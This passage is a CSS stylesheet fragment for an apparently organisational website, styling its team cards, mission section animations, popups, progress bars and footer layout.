} .cipd1 span.cipdwebsitecolor { font-size: 4vh; color: black; position: relative; margin-top: -10vh; } .cipd1 span.cipdwebsitecolor1 { font-size: 7vh; color: darkcyan; letter-spacing: 0; } .cipd1 img { width: 48vh; height: 29vh; align-self: center; } .cipdd11 img { width: 100vh; height: 100vh; border-radius: 100%; } .cipdwebsite1 h1 { margin-top: -25vh; /* -510px converted to vh */ margin-left: 18.2vh; /* 1000px converted to vh */ font-size: 3vh; /* 20px converted to vh */ color: #D4137C; } .cipdwebsite2 h1{ margin-top: 7.5vh; /* 140px converted to vh */ margin-left: 7.5vh; /* 1000px converted to vh */ font-size: 2.2vh; /* 20px converted to vh */ color: #D4137C; } .cipdwebsite3 h1{ margin-top: 1.4vh; /* 80px converted to vh */ margin-bottom: 4vh; /* 200px converted to vh */ margin-left: 20vh; font-size: 2.7vh; /* 20px converted to vh */ padding-left: 8.4vh; /* 100px converted to vh */ color: #D4137C; margin-bottom: 10vh; } footer { background-color: black; color: white; text-align: center; padding: 2em 0; /* Adjust padding as needed */ } .footer-content { justify-content: space-between; align-items: center; } .map-container { width: 100%; } .map-container iframe { width: 90%; height: 100%; } .contact-info { width: 50%; text-align: center; margin-left: 100px; } .contact-info a { display:grid; font-size: 12px; } footer p { margin: 5px 0; /* Adjust margin as needed */ } .image-containerprototypewebsite { position: relative; margin-left: 0px; width: 1000px; height: 900px; padding: 5px; margin-top: 50px; margin-right: auto; } .image-containerprototypewebsite img { box-shadow: 10px 10px 20px #4E478A; } .overlay-textprototypewebsite2 { position: absolute; top: 10%; left: 700px; color: black; /* Adjust text color */ font-size: 20px; /* Adjust font size */ font-family: Helvetica, sans-serif; /* Adjust font family */ background-color: white; text-decoration-color: black; word-spacing: 6px; width: 700px; height: 500px; padding: 30px; opacity: 0.96; box-shadow: 5px 5px 10px #D4137C; } .image-containerprototypewebsite img { border-radius: 500px; } .image-container p{ margin-top: 5%; color: #00A69C; text-align: center; } .overlay-textprototypewebsite2 h4{ word-spacing: 20px; font-family: "Helvetica", sans-serif; font-weight: bolder; font-size: 35px; letter-spacing: 6px; margin-top: -10px; } .overlay-textprototypewebsite2 h1, .overlay-textprototypewebsite2 p, .overlay-textprototypewebsite2 p1, .overlay-textprototypewebsite2 p2 { margin: 0; /* Remove default margin to ensure a clean appearance */ font-family: "sans-serif", sans-serif; } .overlay-textprototypewebsite2 span.cipdwebsiteaboutus6 { color: #00A69C; font-size: 30px; } .gradient-container { width: 100%; height: 500px; background: linear-gradient(to right, #4E478A, #00A69C, #D4137C); /* Adjust the colors (#ff6600 and #3399ff) and direction (to right) as needed */ position: relative; margin-top: 145px; } /* Additional styling for demonstration purposes */ .content { text-align: left; padding: 20px; color: white; } .cipdwebsitemission{ align-items: center; margin-top: -200px; position: relative; } .cipdwebsitemission h1{ justify-content: center; text-align: center; letter-spacing: 10px; word-spacing: 10px; } .cipddo2 { display: flex; justify-content: center; align-items: center; height: 100vh; /* Optional: Set a specific height for vertical centering */ margin-top: -100px; } .cipddo2 img { justify-content: center; max-width: 400px; /* Optional: Ensure images don't exceed container width */ height: 500px; margin: 50 50px; margin-right: 20px; /* Optional: Adjust spacing between images */ } .cipddo8{ display: flex; justify-content: center; align-items: center; height: 100vh; /* Optional: Set a specific height for vertical centering */ margin-top: -100px; } .cipddo8 img { justify-content: center; max-width: 400px; /* Optional: Ensure images don't exceed container width */ height: 500px; margin: 50 50px; margin-right: 20px; /* Optional: Adjust spacing between images */ margin-top: 50px; } .cipd2 h4 { margin-left: 10%; } .cipd2 p { margin-left: 6%; margin-right: 50px; } .mission { position: relative; width: 100%; height: 100vh; } .circle img{ width: 150px; height: 150px; border-radius: 50%; margin-left: 10px; margin-top: 50px; box-shadow: 10px 10px 30px #D4137C; } .cipdcirc{ position: relative; margin-top: 300px; margin-left: 200px; } .cipdcirc p, .cipdcirc2 p, .cipdcirc4 p{ font-size: 12px; } .cipdcirc1 p{ font-size: 12px; width: 200px; margin-left: 10px; } .cipdcirc3 p{ font-size: 12px; width: 180px; margin-left: 10px; } .cipdcirc5 p{ font-size: 12px; width: 200px; margin-left: 10px; } .circle1 { margin-top: 60px; } .cipdcirc1{ position: relative; margin-top: 300px; } .circle1 img{ width: 150px; height: 150px; border-radius: 50%; margin-left: 220px; box-shadow: 10px 10px 30px #D4137C; } .cipdcirc2{ position: relative; margin-left: 200px; margin-top: 300px; width: 180px; } .circle2 img{ width: 150px; height: 150px; border-radius: 50%; margin-left: 10px; margin-top: 50px; box-shadow: 10px 10px 30px #D4137C; } .circle3 { margin-top: 20px; } .circle3 img{ width: 150px; height: 150px; border-radius: 50%; margin-left: 220px; box-shadow: 10px 10px 30px #D4137C; } .cipdcirc3{ position: relative; margin-top: 280px; } .circle4 { margin-top: 10px; } .circle4 img{ width: 150px; height: 150px; border-radius: 50%; margin-left: 10px; box-shadow: 10px 10px 30px #D4137C; } .cipdcirc4{ position: relative; margin-left: 200px; margin-top: 300px; } .circle5 { margin-top: 60px; margin-bottom: 30px; } .circle5 img{ width: 150px; height: 150px; border-radius: 50%; margin-left: 220px; margin-top: 10px; box-shadow: 10px 10px 30px #D4137C; } .cipdcirc5{ position: relative; margin-top: 300px; margin-left: 10px; } .cipdcirc h1, .cipdcirc1 h1, .cipdcirc2 h1, .cipdcirc3 h1, .cipdcirc4 h1{ font-size: 30px; color: #00A69C; letter-spacing: 3px; margin-top: -450px; margin-left: 10px; } .cipdcirc4 h1{ font-size: 30px; color: #00A69C; letter-spacing: 3px; margin-top: -450px; margin-left: -20px; } .cipdcirc5 h1{ font-size: 30px; color: #00A69C; letter-spacing: 3px; margin-top: -450px; margin-left: 10px; width: 200px; } .cipdsevice { /* position: relative; */ width: 100vw; height: 100vh; /* Adjust this to fit your desired height */ } .cipdservice1 { position: fixed; top: 0; left: 0; right: 0; width: 100%; height: 100%; overflow: hidden; opacity: 14%; } .mission { position: relative; width: 100vw; height: 100vh; } .mission-text { transform: translate(0vw, -15vh); position: absolute; top: 45vh; left: 22vw; font-size: 8vw; transition: transform 2s ease; color: #D4137C; } .loader { position: relative; width: 25vw; height: 50vh; } .loader span { position: absolute; top: 8vh; right: -22vw; width: 20vw; height: 25vw; transform: rotate(calc(36deg *var(--i))); } .loader span::before { content: ''; position: absolute; top: 0; left: 0; width: 2vw; height: 4.5vh; border-radius: 50%; background: transparent; border: 4px solid #00A69C; box-sizing: border-box; box-shadow: 0 0 20px #00A69C, -100px 100px 0 #00A69C, -100px 100px 20px #00A69C, 200px 150px 0 #3942fa, 200px 150px 20px #3942fa, 200px 150px 0 #3942fa, 200px 150px 20px #f110f7, -200px 150px 0 #f110f7, -200px 150px 20px #f110f7; animation: mission_animate 10s linear infinite; animation-delay: calc(-0.25s*var(--i)); transform-origin: 250px; transition: 2s; } .loader:hover span::before { box-shadow: 0 0 20px #00A69C, -30px -30px 0 #00A69C, -30px -30px 20px #00A69C, 30px 30px 0 #00A69C, 30px 30px 20px #00A69C, 30px -30px 0 #00A69C, 30px -30px 20px #00A69C, -30px 30px 0 #00A69C, -30px 30px 20px #00A69C; transform-origin: 5px; } .fixed span::before { box-shadow: 0 0 20px #00A69C, -30px -30px 0 #00A69C, -30px -30px 20px #00A69C, 30px 30px 0 #00A69C, 30px 30px 20px #00A69C, 30px -30px 0 #00A69C, 30px -30px 20px #00A69C, -30px 30px 0 #00A69C, -30px 30px 20px #00A69C; transform-origin: 5px; } .mission-text:hover { transform: translate(-20vw, -15vh); } .fixed-mission-text { transform: translate(-20vw, -15vh); } .loader span:nth-child(3) { /* Combine rotate and translate on the transform property */ transform: translate(20px, 20px) rotate(calc(36deg * var(--i))); } .loader span:nth-last-child(1), .loader span:nth-last-child(2) { /* Scale and then translate */ transform: rotate(calc(36deg * var(--i))) translateX(70px) scale(1.2); } .mission_points { display: flex; flex-direction: column; height: 70vh; width: 30vw; justify-content: space-evenly; transform: translate(400%, -60%); font-size: 1.3vw; transition: transform 2s ease; padding: 20px; /* Adds some space inside the borders */ background-color: #f9f9f9; /* Light background color for contrast */ color: #333; /* Darker text color for readability */ border-radius: 10px; /* Softens the corners */ box-shadow: 5px 5px 10px #00A69C; /* box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); */ /* Subtle shadow for depth */ overflow: auto; /* Ensures content is scrollable if it exceeds the container height */ gap: 2vw; margin-right: 100px; /* Adds space between flex items for better separati on */ } .mission_points:hover { transform: translate(60vw, -50vh); } .fixed-mission_points { transform: translate(60vw, -50vh); } @keyframes mission_animate { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .projects-heading { text-align: center; font-size: 12vw; /* 8vw in pixels */ background: linear-gradient(100deg, #00AFAA, #f110f7, #3942fa); text-transform: uppercase; -webkit-background-clip: text; -webkit-text-fill-color: transparent; margin-top: 10%; } .project { height: auto; /* 80vh in pixels */ display: flex; /* Enables flexbox layout */ flex-direction: column; flex-direction: column; justify-content: space-evenly; /* Aligns the image and the about section */ align-items: center; margin-top: 10vw; } .project_image { width: 80vw; /* 25vw in pixels */ height: 50vh; /* 60vh in pixels */ perspective: 50vh; /* 60vh in pixels */ padding-bottom: 20px ; } .projects-container { display: flex; flex-direction: column; /* Centers the product cards if necessary */ justify-content: space-evenly; } .project_image:hover > .card { cursor: pointer; transform: rotateY(-180deg); } .card { width: 100%; height: 100%; position: relative; transition: transform 600ms; transform-style: preserve-3d; } .word { opacity: 0; color: #00AFAA; font-size: 25px; } .word:nth-child(1) { animation: fadeInWords 2s forwards; } .word:nth-child(2) { animation: fadeInWords 2s forwards 1s; /* Delay the animation by 1s */ } .word:nth-child(3) { animation: fadeInWords 2s forwards 2s; /* Delay the animation by 2s */ } .front, .back { height: 100%; width: 100%; border-radius: 2rem; box-shadow: 0 0 5px 2px rgba(50, 50, 50, 0.25); position: relative; backface-visibility: hidden; } .front { background-size: cover; } .back { background-color: #f9f9f9; transform: rotateY(180deg); display: flex; flex-direction: column; justify-content: space-evenly; align-items: center; margin-top: -50vh; /* 60vh in pixels */ } .word { opacity: 0; color: #00AFAA; } .word:nth-child(1) { animation: fadeInWords 2s forwards; } .word:nth-child(2) { animation: fadeInWords 2s forwards 1s; /* Delay the animation by 1s */ } .word:nth-child(3) { animation: fadeInWords 2s forwards 2s; /* Delay the animation by 2s */ } .word:nth-child(4) { animation: fadeInWords 2s forwards 3s; /* Delay the animation by 3s */ } .word:nth-child(5) { animation: fadeInWords 2s forwards 4s; /* Delay the animation by 4s */ } .word:nth-child(6) { animation: fadeInWords 2s forwards 5s; /* Delay the animation by 5s */ } @keyframes fadeInWords { from { opacity: 0; } to { opacity: 1; } } .heading { display: flex; flex-direction: column; align-items: center; text-align: center; } .heading h3 { color: #00A69C; font-size: 8vw; /* 8vw in pixels */ } @keyframes animate_water { 0%,100% { clip-path: polygon(0% 56%, 15% 50%, 29% 49%, 42% 57%, 59% 61%, 74% 59%, 85% 50%, 99% 44%, 99% 100%, 0% 100%); } 50% { clip-path: polygon(0% 56%, 15% 66%, 30% 69%, 43% 64%, 55% 51%, 70% 45%, 83% 43%, 99% 44%, 99% 100%, 0% 100%); } } .project_about { font-family: Helvetica, sans-serif; justify-content: space-evenly; height: 60vh; width: 80vw; /* Adjusted font size */ font-size: 1.5vw; /* Change to your desired font size */ transition: transform 2s ease; padding: 20px; overflow: hidden; /* Hide overflowing content */ position: relative; /* Set position to relative for absolute positioning */ } .project_about h4{ font-size: 20px; } .events-section { position: relative; width: 100%; height: 100vh; /* Adjust this to fit your desired height */ } .bg { position: absolute; top: 0; left: 0; width: 100%; height: 100%; overflow: hidden; opacity: 99%; } .centered-content { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); text-align: center; color: white; /* Change color as needed */ } .centered-content h1{ font-size: 6em; } .centered-content h3{ transform: translate(0%, -200%); font-size: 2em; } .progress-bar{ width: 360px; height: 12px; background-color: #d1d1d1; margin: auto; position: relative; transform: translate(0%, 0%); } .progress-bar::before{ content: "0%"; position: absolute; left: 0; font-size: 12px; bottom: -18px; } .progress-bar::after{ content: "100%"; position: absolute; right: 0; font-size: 12px; bottom: -18px; } .progress-bar span{ display:block; width: 70%; height: 12px; background-color: #87b1de; animation: fill 1s ease-in 1; } @keyframes fill{ from { width: 0; } to{ width: 80%; } } .joinus { height: 100vh; width: 100vw; } .heading-joinus { font-size: 2rem; /* Adjusted for better scalability */ display: flex; justify-content: center; margin-top: -100px; } .joinus-text { overflow: hidden; white-space: nowrap; animation: typewriter 2s steps(11) forwards; width: 90%; } @keyframes typewriter { from { width: 0; } to { width: calc(11ch); } } .blink { animation: blink 1s infinite; animation-delay: 2s; color: #00A69C; opacity: 0; } @keyframes blink { 0% { opacity: 1; } 50% { opacity: 0; } 100% { opacity: 1; } } .joinus-content { display: flex; width: 90%; /* Adjust for better centering and responsiveness */ max-width: 600px; /* Max width to avoid overly wide content on large screens */ margin: 0 auto; /* Center the content */ height: auto; /* Adjust height to content */ flex-direction: column; gap: 30px; margin-top: 30px; opacity: 0; animation: fadeInContent 2s forwards; animation-delay: 1s; } .content-main { font-weight: bold; font-size: 1rem; /* Responsive font size */ } .joinus-points { display: flex; gap: 15px; flex-direction: column; font-size: 1rem; /* Responsive font size */ } @keyframes fadeInContent { from { opacity: 0; } to { opacity: 1; } } .team { display: flex; flex-wrap: wrap; justify-content: center; /* Center align the items */ margin: 0 -6px; /* Add negative margin to counteract the spacing */ } .team-member { width: calc(33% - 40px); /* Set the width to occupy approximately one-sixth of the container */ margin: 10px; /* Increase margin for spacing between team members */ position: relative; overflow: hidden; text-align: center; background-color: white; /* Set a background color to avoid overlapping */ border-radius: 10px; /* Add border radius for a better visual */ box-shadow: 2px 5px 10px #00A69C; /* Add a subtle shadow for depth */ color: white; } .team-member:hover { transform: scale(1.1); box-shadow: 2px 5px 10px #D4137C; } .team-member h3 { font-size: 10px; color: #00A69C; margin-top: 1.4px; padding: 2px; } .team-member p { margin-top: -12px; color: black; font-size: 9px; margin-top: 1px; } .info { position: absolute; bottom: -100%; /* Initially, slide the info div below the image */ left: 0; width: 100%; background-color: white; /* Semi-transparent background */ color: white; box-sizing: border-box; border-radius: 10px; transition: bottom 0.5s; /* Add transition effect */ } .info h3 { color: black; font-size: 10px; } .info p { color: #00A69C; font-size: 9px; } .team-member img { width: 60px; height: 75px; /* Set a fixed height for consistency */ object-fit: cover; /* Ensure images maintain aspect ratio and fill the container */ transition: transform 0.5s; margin-top: 20px; } .team-member:hover img { transform: scale(1.1); } .team-member:hover .info { bottom: 0;/* Slide up the info div on hover */ } .popup { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: white; border-radius: 10px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.3); z-index: 9999; } /* Pop-up styles */ .popup { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: white; border-radius: 10px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.3); z-index: 9999; max-width: 80%; max-height: 80%; overflow-y: auto; } .popup1 { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: white; border-radius: 10px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.3); z-index: 9999; max-width: 100%; max-height: 80%; overflow-y: auto; } .close-btn { position: absolute; top: 10px; right: 10px; cursor: pointer; } .cipdwebsiteboxheading{ margin-left: 6%; margin-top: -70px; } .cipdwebsiteboxheading h1{ font-size: 36px; letter-spacing: 3px; color: #D4137C; } .cipdwebsiteboxheading2 h1{ margin-left: 6%; font-size: 36px; letter-spacing: 3px; color: #D4137C; } .cipdwebsiteboxheading1{ margin-left: 6%; margin-top: 10px; } .cipdwebsiteboxheading1 h1{ font-size: 36px; letter-spacing: 3px; color: #D4137C; } .container { display: flex; /* justify-content: center; */ width: 100%; /* Adjust as needed */ } .box { position: relative; width: 49%; /* Each box takes 48% to cover 50% of the space */ height: 110px; /* Adjust as needed */ background-color: #00A69C; border-radius: 75px; transition: transform 0.5s ease; margin-left: 10px; align-items: center; /* overflow: hidden; */ } .box:hover { transform: scale(1.1); box-shadow: 10px 10px 30px #D4137C; /* Scale up on hover */ } .box-content { display: flex; align-items: center; height: 100%; color: black; text-align: left; border-radius: 150px; align-self: center; background-color: white; box-shadow: 5px 5px 10px #00A69C; } /* Additional styling */ .box:nth-child(1) { background-color: black; } .box-content a { color: #fff; text-decoration: none; display: block; } .box-content h2{ color: darkcyan; display: block; font-weight: bolder; text-decoration: underline; text-decoration-color: #00A69C; font-size: 8px; } .box-content p{ color: #00A69C; display: block; font-weight: bold; text-decoration: underline; text-decoration-color: #00A69C; font-size: 6px; } .box-content img { width: 80px; height: 110px; align-self: flex-start; /* Align images to the left */ border-radius: 100px; } .cipdwebsiteiplo{ margin-left: 40px; margin-top: -100px; } .cipdwebsiteiplo h1{ font-size: 30px; letter-spacing: 3px; color: #D4137C; } .cipdwebsiteiplo1{ margin-left: 40px; margin-top: 30px; } .cipdwebsiteiplo1 h1{ font-size: 30px; letter-spacing: 3px; color: #D4137C; } .team1{ align-items: flex-end; padding: 40px; margin-left: 0px; position: relative; } .team1 img{ width: 200px; height: 200px; margin-left: 50px; } .team2{ align-items: flex-end; position: relative; } .team2 img{ width: 200px; height: 200px; margin-left: 100px; } }
Close